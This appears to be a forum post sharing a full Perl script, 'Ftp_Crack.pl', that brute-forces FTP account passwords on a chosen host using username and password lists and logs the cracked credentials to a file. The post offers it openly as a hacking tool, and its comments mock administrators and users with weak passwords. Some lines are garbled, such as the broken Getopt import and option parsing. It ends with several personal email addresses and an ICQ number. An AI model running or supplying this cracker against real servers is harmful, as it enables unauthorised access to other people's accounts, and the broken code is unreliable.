--------------------------------------------------------------------------------
Ftp pass cracker hack any ftp!!!!!!!!!!!!!!!(cool)
Code:
#!/usr/bin/perl
#
# Ftp_Crack.pl - By B-r00t. 06/07/2001.
#
# An FTP Protocol Hacker.
# Attempts to use brute force guesses to gain
# access to an ftp account on the target host.
# Cracked Accounts will be appended to FTP_CRACK.
#
# Caution: If the FTP Deamon is logging connections
# this is gonna make a serious mark in the Logs.
#
# Options include :
# Use either a single username OR a list of usernames.
# Use either a single password OR a list of passwords.
#
# ENJOY!
use strict;
use Getopt:td;
use Net::FTP;
# CLEAR SCREEN.
print "\n" x 40;
# COMMANDLINE.
use vars qw($opt_h $opt_u $opt_U $opt_p $opt_P);
getopt("h:u:U:");
if ((!$opt_h) || ((!$opt_u) && (!$opt_U)) || ((!$opt_p) && (!$opt_P)) ){ &usage; exit; };
# LOGFILE FILE TEST.
if (! -e "FTP_CRACK") {
open (LOGFILE, ">FTP_CRACK") or die "\a\nERROR UNABLE TO OPEN FTP_CRACK.\n $!";
print LOGFILE "\n Ftp_Crack.pl by B-r00t aka B#.";
print LOGFILE "\n Automated FTP Account Password Cracking.";
print LOGFILE "\n\n\n\n";
close LOGFILE;
};
# GLOBALS.
my $HOST = $opt_h; # Hostname of target server.
my $USER; # Username being tried.
my $PASS; # Password being tried.
my @USERNAMES; # Usernames in list.
my @PASSWORDS; # Passwords in list.
my $ftp; # Connection to host.
if ($opt_u) {$USERNAMES[0] = $opt_u;
chomp $USERNAMES[0];
print "\nUSING SINGLE USERNAME: $USERNAMES[0]";
} else {
print "\nREADING USERNAMES FROM $opt_U.";
open (USERFILE, "$opt_U") or die "\a\nERROR UNABLE TO OPEN $opt_U.\n $!";
@USERNAMES = <USERFILE>;
close USERFILE;
};
if ($opt_p) {$PASSWORDS[0] = $opt_p;
chomp $PASSWORDS[0];
print "\nUSING SINGLE PASSWORD: $PASSWORDS[0]";
} else {
print "\nREADING PASSWORDS FROM $opt_P.";
open (PASSFILE, "$opt_P") or die "\a\nERROR UNABLE TO OPEN $opt_P.\n $!";
@PASSWORDS = <PASSFILE>;
close PASSFILE;
};
# MAIN LOOP
foreach my $U (@USERNAMES) {
chomp $U;
$USER = $U;
foreach my $P (@PASSWORDS) {
chomp $P;
$PASS = $P;
&connect;
&do_it;
};
};
&quit;
exit;
# CONNECTION.
sub connect {
print "\n\nATTEMPTING CONNECTION TO $HOST.";
undef($ftp);
while (! $ftp) {
$ftp = Net::FTP -> new ("$HOST") or warn "\n\nSorry Cant Connect To $HOST\n$!";
};
print "\n\nOK ... CONNECTED!!!\n\n";
};
# DO_IT.
sub do_it{
print "\nTRYING : USERNAME = $USER PASSWORD = $PASS";
$ftp -> login($USER,$PASS) and &success;
$ftp -> quit;
};
# SUCCESS.
sub success {
open (LOGFILE, ">>FTP_CRACK") or die "\a\nERROR UNABLE TO OPEN FTP_CRACK.\n $!";
print "\a\a\a";
print "\nUSERNAME: $USER has PASSWORD: $PASS on $HOST.\n\n\n\n\n";
print LOGFILE "\nUSERNAME: $USER has PASSWORD: $PASS on $HOST.\n\n";
close LOGFILE;
&quit;
};
# USAGE.
sub usage {
print "\n\n\n";
print "\nUSAGE : $0 -h HOST [-u USERNAME || -U USERLIST] [-p PASSWORD || -P PASSLIST]";
print "\n";
print "\n-h = Hostname of FTP Server.";
print "\n-u = Single Username to crack.";
print "\n-U = List of Usernames to crack.";
print "\n-p = Single Password to use.";
print "\n-P = List of Passwords to use.";
print "\nCracked Accounts are appended to FTP_CRACK.";
print "\n\n";
exit;
};
# QUIT.
sub quit {
print "\n\nI'M DONE ......\n\n";
exit;
};
# Another fine B-r00t production ...
#
# Thanks To:
# All The PPL With Easy To Guess Passwords!
# Admins Who Think Logs Are Something You Burn.
# That One Doris ... U-Know-Who-U-R!
# Mum & Dad.
# Da Big5 Massive ...!
#
# B-r00t aka B#. 2001.
# "If You Can't B-r00t Then Just B#."
#
Br00tzC0ntactz@Hotmail.Com # ICQ 24645508.
ermal.ismajli@hotmail.com vali.tba@hotmail.combeni.henry@hotmail.com